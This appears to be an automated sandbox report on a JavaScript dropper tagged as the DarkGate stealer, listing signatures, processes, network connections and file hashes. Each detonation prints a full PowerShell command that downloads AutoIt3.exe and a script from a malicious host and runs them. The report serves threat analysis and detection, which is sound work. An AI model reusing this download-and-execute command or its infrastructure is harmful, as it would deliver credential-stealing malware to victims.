Malware Analysis Report

2024-11-30 11:12

Sample ID 231027-vzpfqahf58
Target 28102023_0125_trumpet.js
SHA256 5d7605d640f5ede04a0e61024513f386730bfa223f39ac0d4cf2830ea6dc8500
Tags
darkgate user_871236672 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5d7605d640f5ede04a0e61024513f386730bfa223f39ac0d4cf2830ea6dc8500

Threat Level: Known bad

The file 28102023_0125_trumpet.js was found to be: Known bad.

Malicious Activity Summary

darkgate user_871236672 stealer

DarkGate

Downloads MZ/PE file

Blocklisted process makes network request

Executes dropped EXE

Checks computer location settings

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-10-27 17:25

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2023-10-27 17:25

Reported

2023-10-27 17:31

Platform

win10-20231020-en

Max time kernel

177s

Max time network

286s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\28102023_0125_trumpet.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\temp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\temp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\temp\AutoIt3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\28102023_0125_trumpet.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://profitcentronline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://profitcentronline.com:2351/msidctseyzi' -OutFile 'dctseyzi.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'dctseyzi.au3'"

C:\temp\AutoIt3.exe

"C:\temp\AutoIt3.exe" dctseyzi.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 profitcentronline.com udp
US 195.123.233.201:2351 profitcentronline.com tcp
US 8.8.8.8:53 201.233.123.195.in-addr.arpa udp
US 195.123.233.201:2351 profitcentronline.com tcp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 5.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 254.7.248.8.in-addr.arpa udp
US 8.8.8.8:53 1.202.248.87.in-addr.arpa udp

Files

memory/4228-5-0x00007FFCF2760000-0x00007FFCF314C000-memory.dmp

memory/4228-6-0x00000222620E0000-0x00000222620F0000-memory.dmp

memory/4228-4-0x00000222620A0000-0x00000222620C2000-memory.dmp

memory/4228-7-0x00000222620E0000-0x00000222620F0000-memory.dmp

memory/4228-10-0x0000022262370000-0x00000222623E6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2yemza4q.ta2.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/4228-29-0x00000222620E0000-0x00000222620F0000-memory.dmp

memory/4228-33-0x00007FFCF2760000-0x00007FFCF314C000-memory.dmp

memory/4228-34-0x00000222620E0000-0x00000222620F0000-memory.dmp

memory/4228-35-0x00000222620E0000-0x00000222620F0000-memory.dmp

C:\temp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\temp\dctseyzi.au3

MD5 ed9069a8f504d2dca660d7ca452df7b5
SHA1 27249509d8c7870e61d1828323b00c8f57534866
SHA256 fe6440f818ad94374740fa7861a2cb28886f07d3b21cd27f28725fe3dc146f98
SHA512 99c0110c6317d82cabdb016613c86413f14494eb019fe9b17788bcb62c3dd3ec0d35db7a2eadee923835a4cabb512b5af0299578a7e1cbd5e4269891df7a8f2f

memory/4228-59-0x00007FFCF2760000-0x00007FFCF314C000-memory.dmp

memory/824-61-0x0000000001850000-0x0000000001C50000-memory.dmp

memory/824-62-0x0000000004A60000-0x0000000004D8A000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2023-10-27 17:25

Reported

2023-10-27 17:31

Platform

win10v2004-20231023-en

Max time kernel

142s

Max time network

294s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\28102023_0125_trumpet.js

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3752 wrote to memory of 1144 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3752 wrote to memory of 1144 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\28102023_0125_trumpet.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://profitcentronline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://profitcentronline.com:2351/msidctseyzi' -OutFile 'dctseyzi.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'dctseyzi.au3'"

Network

Country Destination Domain Proto
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 profitcentronline.com udp
US 195.123.233.201:2351 profitcentronline.com tcp
US 8.8.8.8:53 201.233.123.195.in-addr.arpa udp
US 8.8.8.8:53 126.179.238.8.in-addr.arpa udp
US 8.8.8.8:53 198.209.218.23.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 99.238.32.23.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 226.162.46.104.in-addr.arpa udp

Files

memory/1144-0-0x000002CB6E790000-0x000002CB6E7B2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2eykuckx.p1t.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1144-10-0x00007FF8F4840000-0x00007FF8F5301000-memory.dmp

memory/1144-11-0x000002CB6C710000-0x000002CB6C720000-memory.dmp

memory/1144-12-0x000002CB6C710000-0x000002CB6C720000-memory.dmp

memory/1144-13-0x00007FF8F4840000-0x00007FF8F5301000-memory.dmp

memory/1144-14-0x000002CB6C710000-0x000002CB6C720000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2023-10-27 17:25

Reported

2023-10-27 17:31

Platform

win7-20231023-en

Max time kernel

118s

Max time network

124s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\28102023_0125_trumpet.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\28102023_0125_trumpet.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://profitcentronline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://profitcentronline.com:2351/msidctseyzi' -OutFile 'dctseyzi.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'dctseyzi.au3'"

Network

N/A

Files

memory/2676-4-0x000000001B3A0000-0x000000001B682000-memory.dmp

memory/2676-5-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

memory/2676-6-0x0000000002470000-0x0000000002478000-memory.dmp

memory/2676-7-0x0000000002870000-0x00000000028F0000-memory.dmp

memory/2676-8-0x0000000002870000-0x00000000028F0000-memory.dmp

memory/2676-9-0x0000000002870000-0x00000000028F0000-memory.dmp

memory/2676-10-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

memory/2676-11-0x0000000002870000-0x00000000028F0000-memory.dmp

memory/2676-12-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp